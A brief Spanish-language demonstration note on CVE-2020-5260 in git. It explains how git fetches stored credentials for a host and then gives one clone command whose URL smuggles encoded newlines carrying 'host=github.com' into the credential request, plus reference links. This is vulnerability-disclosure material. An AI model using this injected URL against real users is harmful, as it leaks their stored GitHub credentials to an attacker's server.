CVE-2020-5260

Registro de demostración de CVE-2020-5260

• Cuando git ejecuta un comando como git clone https://example.com, solicita almacenar las credenciales del host example.com usando el protocolo https, y cuando el extremo remoto solicita autenticación, añade las credenciales devueltas a la petición emitida.

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https

Enlaces de referencia:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260